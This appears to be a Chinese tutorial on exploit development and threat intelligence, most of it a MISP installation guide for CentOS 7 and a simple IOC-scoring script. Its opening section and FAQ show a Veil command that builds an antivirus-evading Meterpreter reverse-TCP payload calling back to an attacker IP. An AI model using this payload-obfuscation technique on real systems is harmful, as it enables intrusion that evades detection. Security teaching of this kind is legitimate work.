漏洞利用开发与网络威胁情报解析
1. 漏洞利用开发
在漏洞利用开发中,有几种有效的方法可以实现攻击目标并绕过杀毒软件的检测。
1.1 注入内存执行
第二种方法是将有效负载或漏洞利用代码注入底层系统的进程内存中。这种方式会在内存中执行代码,并且大多数杀毒软件难以检测到。
1.2 编码绕过检测
第三种方法则是利用编码来防止检测。这里介绍一个强大的编码框架VEIL,它可以创建可能绕过杀毒软件检测的有效负载。
- 下载和安装Veil :Kali Linux的最新版本预装了Veil。对于其他Linux版本,可以使用以下命令进行安装:
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
安装成功后,生成Veil编码的有效负载非常简单。Veil的工作原理是使漏洞利用代码变得隐晦和随机,从而欺骗基于签名检测的杀毒软件。有两种使用方法:
-
交互式shell
:输入
veil
命令,然后在规避模块下选择有效负载。
-
命令行指定
:
veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.102 --port 4444 -o exploit
该命令将使用Veil的第41号有效负载对Metasploit模块
windows/meterpreter/reverse_tcp
进行编码。如果生成的有效负载不能绕过杀毒软件检测,可以使用Veil的交互式版本调整有效负载参数,以生成更独特的签名。
2. 网络威胁情报概述
网络安全不仅包括进攻性的渗透测试,还需要关注防御性的监控。安全运营中心(SOC)负责持续监控组织的安全状况,他们使用安全信息和事件管理(SIEM)工具收集和分析各种应用程序和设备的日志。如今,许多SIEM解决方案结合了大数据集群、机器学习算法和AI模型,使监控更加有效。网络威胁情报在其中扮演着重要角色,它涉及以下几个方面:
-
网络威胁情报
:将收集的原始信息处理成可操作的情报。
-
工具和API
:用于收集、分析和共享情报的工具和接口。
-
威胁评分
:为每个入侵指标(IOC)分配一个分数。
-
STIX和TAXII以及外部查询
:相关的标准和外部查询方法。
3. 手动和自动威胁情报
3.1 手动威胁情报
手动威胁情报是指手动收集情报并转化为可操作的信息。例如,组织X的网络安全分析师会深入暗网,寻找可能针对组织的潜在威胁,如泄露的电子邮件或特定行业的勒索软件传播情况。此外,对于内部威胁的监控,当服务器出现异常通信时,手动识别异常情况比SIEM工具更有效,这种过程称为内部威胁狩猎。
3.2 自动威胁情报
自动威胁情报通过分析上下文和情境风险,为组织提供有价值的网络威胁洞察。它主要关注收集和处理网络威胁数据,如恶意IP、URL、文件哈希等入侵指标(IOC)。这些数据来自各种安全网站和社区共享的威胁情报源。
自动威胁情报的收集和处理过程可以手动完成,也可以自动化。自动化又可分为脚本级别的分离自动化和使用中央编排引擎的自动化。然而,行业面临的主要挑战是IOC的质量,大量收集的IOC可能包含噪声,直接使用会导致大量误报。因此,需要编写自定义的Python算法来提高IOC的质量,并为每个IOC分配1 - 10的威胁分数,分数越高表示潜在严重性越大。
4. 网络威胁情报平台
网络威胁情报平台可以自动化情报收集和共享过程。在大型组织中,SIEM工具每分钟会生成大量事件,规则引擎每小时会触发多个警报。分析师需要手动验证每个警报,判断IP或域名是否合法,这需要耗费大量人力。因此,自动化的网络威胁情报至关重要。
网络威胁情报平台的信息来源广泛,其具备的功能包括:
|功能|描述|
|----|----|
|收集情报|从各种来源收集网络威胁数据|
|分析处理|对收集的数据进行分析和处理|
|共享情报|将处理后的情报共享给安全产品|
5. 网络威胁情报工具和API
在网络威胁情报领域,有许多商业和开源工具可供使用。
5.1 商业工具
- IBM X - Force Exchange
- Anomali ThreatStream
- Palo Alto Networks AutoFocus
- RSA NetWitness Suite
- LogRhythm Threat Lifecycle Management (TLM) Platform
- FireEye iSIGHT Threat Intelligence
- LookingGlass Cyber Solutions
- AlienVault Unified Security Management (USM)
5.2 开源工具
- MISP
- OpenIOC
- OpenTAXII
- Yeti
- AbuseHelper
- sqhunter
其中,Malware Information Sharing Platform(MISP)因其功能和特性备受青睐。它是一个用cakePHP编写的框架,具有以下特点:
-
中央解析器
:能够解析各种格式的IOC文件,如文本、CSV、JSON等,将其转换为一致的格式。
-
API接口
:方便与SIEM工具共享情报,但目前还没有消除误报的能力。
-
集成能力
:可以与其他MISP实例集成,实现威胁共享。
-
角色访问
:基于角色的Web界面访问,便于分析师关联和理解IOC。
-
队列系统
:基于Redis和CakeResque的队列后端工作系统,可以定时收集和更新情报。
-
多格式共享
:能够以多种格式(如CSV、STIX、JSON等)关联和共享信息。
6. MISP的安装和配置
在CentOS 7上安装MISP的步骤如下:
6.1 最小化CentOS安装
安装一个最小化的CentOS 7.x系统,并确保安装以下软件:
- OpenSSH服务器
- LAMP服务器
- 邮件服务器
设置主机名并更新系统:
sudo hostnamectl set-hostname misp.local
sudo yum update -y
6.2 安装依赖项
sudo yum install epel-release -y
sudo yum install centos-release-scl -y
sudo yum install vim -y
sudo yum install gcc git httpd zip redis mariadb mariadb-server python-devel python-pip python-zmq libxslt-devel zlib-devel ssdeep-devel -y
sudo yum install rh-php71 rh-php71-php-fpm rh-php71-php-devel rh-php71-php-mysqlnd rh-php71-php-mbstring rh-php71-php-xml rh-php71-php-bcmath rh-php71-php-opcache -y
sudo yum install rh-python36 -y
sudo systemctl enable rh-php71-php-fpm.service
sudo systemctl start rh-php71-php-fpm.service
sudo $RUN_PHP "pear channel-update pear.php.net"
sudo $RUN_PHP "pear install Crypt_GPG"
sudo yum install haveged -y
sudo systemctl enable haveged.service
sudo systemctl start haveged.service
sudo systemctl enable redis.service
sudo systemctl start redis.service
6.3 下载MISP代码
sudo mkdir $PATH_TO_MISP
sudo chown apache:apache $PATH_TO_MISP
cd /var/www
sudo -u apache git clone https://github.com/MISP/MISP.git
cd $PATH_TO_MISP
sudo -u apache git checkout tags/$(git describe --tags `git rev-list --tags --max-count=1`)
sudo -u apache git submodule update --init --recursive
sudo -u apache git submodule foreach --recursive git config core.filemode false
sudo -u apache $RUN_PYTHON "virtualenv -p python3 $PATH_TO_MISP/venv"
sudo mkdir /usr/share/httpd/.cache
sudo chown apache:apache /usr/share/httpd/.cache
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U pip setuptools
sudo yum install python-importlib python-lxml python-dateutil python-six -y
cd /var/www/MISP/app/files/scripts
sudo -u apache git clone https://github.com/CybOXProject/python-cybox.git
sudo -u apache git clone https://github.com/STIXProject/python-stix.git
cd /var/www/MISP/app/files/scripts/python-cybox
UMASK=$(umask)
umask 0022
cd /var/www/MISP/app/files/scripts/python-stix
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U maec
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U zmq
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U redis
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U python-magic lief git+https://github.com/kbandla/pydeep.git
cd /var/www/MISP/app/files/scripts/
sudo -u apache git clone https://github.com/CybOXProject/mixbox.git
cd /var/www/MISP/app/files/scripts/mixbox
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
cd /var/www/MISP/PyMISP
sudo -u apache $PATH_TO_MISP/venv/bin/pip install enum34
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
echo 'source scl_source enable rh-python36' | sudo tee -a /etc/opt/rh/rh-php71/sysconfig/php-fpm
sudo sed -i.org -e 's/^;\(clear_env = no\)/\1/' /etc/opt/rh/rh-php71/php-fpm.d/www.conf
sudo systemctl restart rh-php71-php-fpm.service
umask $UMASK
6.4 安装CakePHP和CakeResque
sudo chown -R apache:apache /var/www/MISP
sudo mkdir /usr/share/httpd/.composer
sudo chown apache:apache /usr/share/httpd/.composer
cd /var/www/MISP/app
sudo -u apache $RUN_PHP "php composer.phar require kamisama/cake-resque:4.1.2"
sudo -u apache $RUN_PHP "php composer.phar config vendor-dir Vendor"
sudo -u apache $RUN_PHP "php composer.phar install"
sudo $RUN_PHP "pecl install redis"
echo "extension=redis.so" |sudo tee /etc/opt/rh/rh-php71/php-fpm.d/redis.ini
sudo ln -s ../php-fpm.d/redis.ini /etc/opt/rh/rh-php71/php.d/99-redis.ini
sudo systemctl restart rh-php71-php-fpm.service
echo 'date.timezone = "Europe/Luxembourg"' |sudo tee /etc/opt/rh/rh-php71/php-fpm.d/timezone.ini
sudo ln -s ../php-fpm.d/timezone.ini /etc/opt/rh/rh-php71/php.d/99-timezone.ini
for key in upload_max_filesize post_max_size max_execution_time max_input_time memory_limit
do
sudo sed -i "s/^\($key\).*/\1 = $(eval echo \${$key})/" $PHP_INI
done
sudo systemctl restart rh-php71-php-fpm.service
sudo cp -fa /var/www/MISP/INSTALL/setup/config.php /var/www/MISP/app/Plugin/CakeResque/Config/config.php
6.5 设置权限
sudo chown -R root:apache /var/www/MISP
sudo find /var/www/MISP -type d -exec chmod g=rx {} \;
sudo chmod -R g+r,o= /var/www/MISP
sudo chmod -R 750 /var/www/MISP
sudo chmod -R g+ws /var/www/MISP/app/tmp
sudo chmod -R g+ws /var/www/MISP/app/files
sudo chmod -R g+ws /var/www/MISP/app/files/scripts/tmp
sudo chown apache:apache /var/www/MISP/app/files
sudo chown apache:apache /var/www/MISP/app/files/terms
sudo chown apache:apache /var/www/MISP/app/files/scripts/tmp
sudo chown apache:apache /var/www/MISP/app/Plugin/CakeResque/tmp
sudo chown -R apache:apache /var/www/MISP/app/Config
sudo chown -R apache:apache /var/www/MISP/app/tmp
sudo chown -R apache:apache /var/www/MISP/app/webroot/img/orgs
sudo chown -R apache:apache /var/www/MISP/app/webroot/img/custom
6.6 创建数据库和用户
sudo systemctl enable mariadb.service
sudo systemctl start mariadb.service
sudo yum install expect -y
expect -f - <<-EOF
set timeout 10
spawn sudo mysql_secure_installation
expect "Enter current password for root (enter for none):"
send -- "\r"
expect "Set root password?"
send -- "y\r"
expect "New password:"
send -- "${DBPASSWORD_ADMIN}\r"
expect "Re-enter new password:"
send -- "${DBPASSWORD_ADMIN}\r"
expect "Remove anonymous users?"
send -- "y\r"
expect "Disallow root login remotely?"
send -- "y\r"
expect "Remove test database and access to it?"
send -- "y\r"
expect "Reload privilege tables now?"
send -- "y\r"
expect eof
EOF
sudo yum remove tcl expect -y
echo [mysqld] |sudo tee /etc/my.cnf.d/bind-address.cnf
echo bind-address=127.0.0.1 |sudo tee -a /etc/my.cnf.d/bind-address.cnf
sudo systemctl restart mariadb.service
mysql -u root -p
在MySQL中执行以下命令:
create database misp;
grant usage on *.* to misp@localhost identified by 'XXXXXXXXX';
grant all privileges on misp.* to misp@localhost;
exit
也可以使用以下命令:
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "create database $DBNAME;"
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "grant usage on *.* to $DBNAME@localhost identified by '$DBPASSWORD_MISP';"
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "grant all privileges on $DBNAME.* to '$DBUSER_MISP'@'localhost';"
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "flush privileges;"
6.7 导入数据库
sudo -u apache cat $PATH_TO_MISP/INSTALL/MYSQL.sql | mysql -u $DBUSER_MISP -p$DBPASSWORD_MISP $DBNAME
6.8 配置Apache服务器
sudo cp /var/www/MISP/INSTALL/apache.misp.centos7.ssl /etc/httpd/conf.d/misp.ssl.conf
sudo openssl req -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=${OPENSSL_C}/ST=${OPENSSL_ST}/L=${OPENSSL_L}/O=${OPENSSL_O}/OU=${OPENSSL_OU}/CN=${OPENSSL_CN}/emailAddress=${OPENSSL_EMAILADDRESS}" \
-keyout /etc/pki/tls/private/misp.local.key -out /etc/pki/tls/certs/misp.local.crt
sudo chcon -t usr_t /var/www/MISP/venv
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files/terms
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files/scripts/tmp
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/Plugin/CakeResque/tmp
sudo chcon -R -t usr_t /var/www/MISP/venv
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp/logs
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/webroot/img/orgs
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/webroot/img/custom
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp
sudo setsebool -P httpd_can_network_connect on
sudo systemctl enable httpd.service
sudo systemctl start httpd.service
sudo firewall-cmd --zone=public --add-port=80/tcp --permanent
sudo firewall-cmd --zone=public --add-port=443/tcp --permanent
sudo firewall-cmd --reload
6.9 日志轮转
sudo cp $PATH_TO_MISP/INSTALL/misp.logrotate /etc/logrotate.d/misp
sudo chmod 0640 /etc/logrotate.d/misp
sudo semanage fcontext -a -t httpd_log_t "/var/www/MISP/app/tmp/logs(/.*)?"
sudo chcon -R -t httpd_log_t /var/www/MISP/app/tmp/logs
sudo checkmodule -M -m -o /tmp/misplogrotate.mod $PATH_TO_MISP/INSTALL/misplogrotate.te
sudo semodule_package -o /tmp/misplogrotate.pp -m /tmp/misplogrotate.mod
sudo semodule -i /tmp/misplogrotate.pp
6.10 配置MISP实例
sudo -u apache cp -a $PATH_TO_MISP/app/Config/bootstrap.default.php $PATH_TO_MISP/app/Config/bootstrap.php
sudo -u apache cp -a $PATH_TO_MISP/app/Config/database.default.php $PATH_TO_MISP/app/Config/database.php
sudo -u apache cp -a $PATH_TO_MISP/app/Config/core.default.php $PATH_TO_MISP/app/Config/core.php
sudo -u apache cp -a $PATH_TO_MISP/app/Config/config.default.php $PATH_TO_MISP/app/Config/config.php
echo "<?php
class DATABASE_CONFIG {
public \$default = array(
'datasource' => 'Database/Mysql',
'persistent' => false,
'host' => '$DBHOST',
'login' => '$DBUSER_MISP',
'port' => 3306,
'password' => '$DBPASSWORD_MISP',
'database' => '$DBNAME',
'prefix' => '',
'encoding' => 'utf8',
);
}" | sudo -u apache tee $PATH_TO_MISP/app/Config/database.php
# 配置新文件中的字段
# config.php : baseurl (example: 'baseurl' => 'http://misp',) - 不要使用 "localhost",外部浏览会有问题
# core.php : 取消注释并设置时区: `// date_default_timezone_set('UTC');`
# database.php : login, port, password, database
# DATABASE_CONFIG 需要填充
# 按照前面步骤的默认值,看起来像这样:
# class DATABASE_CONFIG {
# public $default = array(
# 'datasource' => 'Database/Mysql',
# 'persistent' => false,
# 'host' => 'localhost',
# 'login' => 'misp',
# 'port' => 3306,
# 'password' => 'XXXXdbpasswordhereXXXXX',
# 'database' => 'misp',
# 'prefix' => '',
# 'encoding' => 'utf8',
# );
# }
# 更改 /var/www/MISP/app/Config/config.php 中的盐值
# 管理员用户账户将在首次登录时生成,确保在创建用户之前更改盐值
# 如果忘记此步骤且是新安装,只需更改盐值,从MySQL中删除用户,然后使用默认管理员凭据 (admin@admin.test/admin) 重新登录
# 如果要从Web界面更改配置参数,运行以下脚本并生成GPG加密密钥
sudo chown apache:apache /var/www/MISP/app/Config/config.php
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/Config/config.php
cat >/tmp/gen-key-script <<EOF
%echo Generating a default key
Key-Type: default
Key-Length: $GPG_KEY_LENGTH
Subkey-Type: default
Name-Real: $GPG_REAL_NAME
Name-Comment: $GPG_COMMENT
Name-Email: $GPG_EMAIL_ADDRESS
Expire-Date: 0
Passphrase: $GPG_PASSPHRASE
%commit
%echo done
EOF
sudo gpg --homedir /var/www/MISP/.gnupg --batch --gen-key /tmp/gen-key-script
sudo rm -f /tmp/gen-key-script
sudo chown -R apache:apache /var/www/MISP/.gnupg
sudo gpg --homedir /var/www/MISP/.gnupg --export --armor $GPG_EMAIL_ADDRESS |sudo tee /var/www/MISP/app/webroot/gpg.asc
sudo chown apache:apache /var/www/MISP/app/webroot/gpg.asc
sudo chmod +x /var/www/MISP/app/Console/worker/start.sh
sudo -u apache $RUN_PHP /var/www/MISP/app/Console/worker/start.sh
if [ ! -e /etc/rc.local ]
then
echo '#!/bin/sh -e' | sudo tee -a /etc/rc.local
echo 'exit 0' | sudo tee -a /etc/rc.local
sudo chmod u+x /etc/rc.local
fi
sudo sed -i -e '$i \su -s /bin/bash apache -c "scl enable rh-php71 /var/www/MISP/app/Console/worker/start.sh" > /tmp/worker_start_rc.local.log\n' /etc/rc.local
sudo chmod +x /etc/rc.local
echo "Admin (root) DB Password: $DBPASSWORD_ADMIN"
echo "User (misp) DB Password: $DBPASSWORD_MISP"
通过以上步骤,可以在CentOS 7上成功安装和配置MISP,从而更好地收集、分析和共享网络威胁情报。
漏洞利用开发与网络威胁情报解析
7. MISP的后续配置与使用
在完成MISP的安装和基本配置后,还需要进行一些后续操作来确保其正常运行和发挥作用。
7.1 安装misp - modules依赖项
sudo yum install -y openjpeg-devel
sudo chmod 2777 /usr/local/src
sudo chown root:users /usr/local/src
cd /usr/local/src/
git clone https://github.com/MISP/misp-modules.git
cd misp-modules
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -I -r REQUIREMENTS
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
sudo yum install rubygem-rouge rubygem-asciidoctor -y
sudo -u apache $PATH_TO_MISP/venv/bin/pip install stix2
安装完成后,MISP就具备了更强大的功能,能够更好地处理和分析网络威胁情报。
7.2 MISP的使用流程
以下是使用MISP进行网络威胁情报管理的基本流程:
graph LR
A[收集情报源] --> B[MISP解析处理]
B --> C[存储情报数据]
C --> D[分析关联数据]
D --> E[生成报告和规则]
E --> F[共享情报给安全工具]
- 收集情报源 :从各种安全网站、社区和威胁情报共享平台获取恶意IP、URL、文件哈希等IOC数据。
- MISP解析处理 :MISP的中央解析器将不同格式的IOC数据解析并转换为一致的格式,以便后续处理。
- 存储情报数据 :将解析后的数据存储在MISP的后端数据库中。
- 分析关联数据 :利用MISP的关联功能,分析不同IOC之间的关系,发现潜在的威胁模式。
- 生成报告和规则 :根据分析结果,生成详细的威胁报告,并创建相应的规则用于安全工具的检测。
- 共享情报给安全工具 :将处理后的情报共享给SIEM、防火墙、IDS/IPS等安全产品,增强组织的安全防护能力。
8. 威胁评分算法示例
为了提高IOC的质量,减少误报,需要为每个IOC分配威胁分数。以下是一个简单的Python算法示例:
import pandas as pd
# 假设这是收集到的IOC数据,包含IP、URL、文件哈希等信息
ioc_data = {
'IOC': ['1.1.1.1', 'http://malicious.com', 'abc123456789'],
'Source': ['Feed1', 'Feed2', 'Feed3'],
'Frequency': [10, 5, 3]
}
df = pd.DataFrame(ioc_data)
# 定义威胁评分函数
def threat_score(frequency):
if frequency >= 10:
return 8
elif frequency >= 5:
return 5
else:
return 2
# 为每个IOC计算威胁分数
df['ThreatScore'] = df['Frequency'].apply(threat_score)
# 筛选出威胁分数较高的IOC
high_score_iocs = df[df['ThreatScore'] >= 5]
print(high_score_iocs)
这个示例中,根据IOC的出现频率来分配威胁分数,频率越高,威胁分数越高。通过筛选出威胁分数较高的IOC,可以重点关注这些潜在的高风险威胁。
9. 总结与展望
网络安全是一个不断发展和变化的领域,漏洞利用开发和网络威胁情报管理是保障组织安全的重要手段。通过合理利用漏洞利用技术,可以发现和修复系统中的安全漏洞;而有效的网络威胁情报管理则可以帮助组织提前发现和应对潜在的威胁。
在漏洞利用开发方面,使用编码框架如VEIL可以提高有效负载的隐蔽性,绕过杀毒软件的检测。在网络威胁情报管理方面,MISP作为一个强大的开源工具,能够帮助组织收集、分析和共享网络威胁情报。同时,通过编写自定义的Python算法,可以提高IOC的质量,减少误报。
未来,随着技术的不断发展,网络安全面临的挑战也会越来越多。我们需要不断学习和掌握新的技术和方法,加强漏洞利用开发和网络威胁情报管理的能力,为组织的安全保驾护航。
10. 常见问题解答
以下是一些在漏洞利用开发和网络威胁情报管理过程中常见的问题及解答:
| 问题 | 解答 |
|---|---|
| VEIL生成的有效负载无法绕过杀毒软件检测怎么办? | 可以使用Veil的交互式版本,调整有效负载参数,生成更独特的签名。 |
| MISP安装过程中遇到依赖项安装失败怎么办? | 检查网络连接是否正常,确保软件源配置正确,也可以尝试手动安装缺失的依赖项。 |
| 如何提高IOC的质量? | 编写自定义的Python算法,根据IOC的出现频率、来源等因素为其分配威胁分数,筛选出威胁分数较高的IOC。 |
通过了解这些常见问题的解答,可以帮助我们更好地应对在实际操作中遇到的困难。
漏洞利用与MISP威胁情报解析
超级会员免费看
1221

被折叠的 条评论
为什么被折叠?



